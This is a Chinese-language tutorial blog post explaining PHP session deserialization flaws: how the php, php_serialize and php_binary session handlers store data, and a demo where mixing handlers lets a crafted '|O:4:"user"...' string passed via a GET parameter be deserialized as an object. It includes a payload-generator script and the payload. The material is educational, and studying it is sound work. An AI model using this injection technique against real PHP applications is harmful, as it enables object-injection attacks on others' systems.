Session反序列化漏洞解析

参考文章:PHP session反序列化漏洞超详细讲解_php技巧_脚本之家 (jb51.net)

一、前置基础

1、session请求过程:

当某个用户第一次访问网站时,Session_start()函数会创建一个唯一的SessionID,并通过HTTP响应头,也就是返回包,将SessionID保存在客户端,也就是用户浏览器的Cookie中。与此同时,服务端也会在本地创建一个以SessionID命名的文件,用来保存这个用户的会话信息。当用户再次访问这个网站时,会自动通过HTTP请求头将Cookie中保存的SessionID再次发送给服务端,此时Session_start()函数不会再次分配一个SessionID,而是去寻找和这个SessionID同名的Session文件,将之前存储的信息读出,在当前脚本使用,达到跟踪用户的功能。

2、session配置

在探讨session反序列化漏洞时我们只需要关注存储引擎即可

注:session文件存储路径在php.ini文件中的session.save_path中(Linux默认为/tmp目录下)

PHP:

存储方式:键名+|+经过serialize函数处理后的值;

测试代码:

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

当参数为user=123

输出结果为:

username|s:6:"123123";

PHP_serialize:

存储方式:经过serialize函数处理后的值

测试代码:

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

输出结果为:

a:1:{s:8:"username";s:6:"123123";}

PHP_binary:

存储方式:键名长度所对应的ASCII码+键名+经过serialize函数处理后的值

测试代码:

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

输出结果为:

usernames:6:"123123";

二、session反序列化漏洞

根据上面不同的session存储引擎可知,不同的存储引擎有着不同的解析方式,当存储引擎使用不当则可能会出现反序列化漏洞,如下:

serialize.php

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['username'] = $_GET['user'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";  

serialize1.php

php 复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class user{
    var $name;
    var $age;
    function __wakeup(){
        echo "hello ".$this->name." !";
    }
}

以上两PHP文件在session的存储引擎上采用了不同的方式,因此在解析session文件中的数据时就产生了歧义,如对于php_serialize来说 "|"仅仅只是一个字符,但对于php而言则是分割符,因此对session产生了不同的解析结果,我们通过如下脚本生成payload

makepayload.php

php 复制代码
<?php
class user {
    var $name;
    var $age;
}
$a = new user();
$a ->age="888";
$a ->name="cc";
echo "|".serialize($a);

payload:

|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}

通过user传参给serialize.php

php_serialize解析结果:

a:1:{s:8:"username";s:56:"|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}";}

此时我们访问serialize1.php,则会发现输出结果hello,cc!

分析:

对于serialize.php文件中的数据是一整条经过serialize函数处理后的结果,其代表的含义仅仅是一个username的键对应|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}的值,在php_serialize眼中这仅仅只是个字符串。

但对于serialize1.php文件中的php_serialize而言整条数据是这样的

键名:username

值:O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}

在php眼中的"|"是分割符因此他直接将后面的数据解析为对象了,从而产生了反序列化漏洞

相关推荐
其实防守也摸鱼1 天前
CTF密码学综合教学指南--第九章
开发语言·网络·python·安全·网络安全·密码学·ctf
学网安的肆伍1 天前
【043-WEB攻防篇】PHP应用&SQL注入&符号拼接&请求方法&HTTP头&JSON&编码类
sql·安全·php
菩提小狗1 天前
每日安全情报报告 · 2026-05-02
网络安全·漏洞·cve·安全情报·每日安全
nikolay1 天前
AI重塑企业信息安全:攻防升级与信任重构
网络·人工智能·网络安全
研究点啥好呢1 天前
字节跳动Go后端开发工程师面试题精选:10道高频考题+答案解析
面试·golang·php·求职招聘
kybs19911 天前
springboot租车系统--附源码68701
java·hadoop·spring boot·python·django·asp.net·php
wxin_VXbishe1 天前
springboot新能源车充电站管理系统小程序-计算机毕业设计源码29213
java·c++·spring boot·python·spring·django·php
嵌入式×边缘AI:打怪升级日志1 天前
Linux 驱动与应用开发核心自测题库(面试官问答完整版)
linux·运维·php
fengci.2 天前
CTF+随机困难题目
android·开发语言·前端·学习·php
藤原千花的败北2 天前
什么是服务端模板注入漏洞(SSTI)
网络安全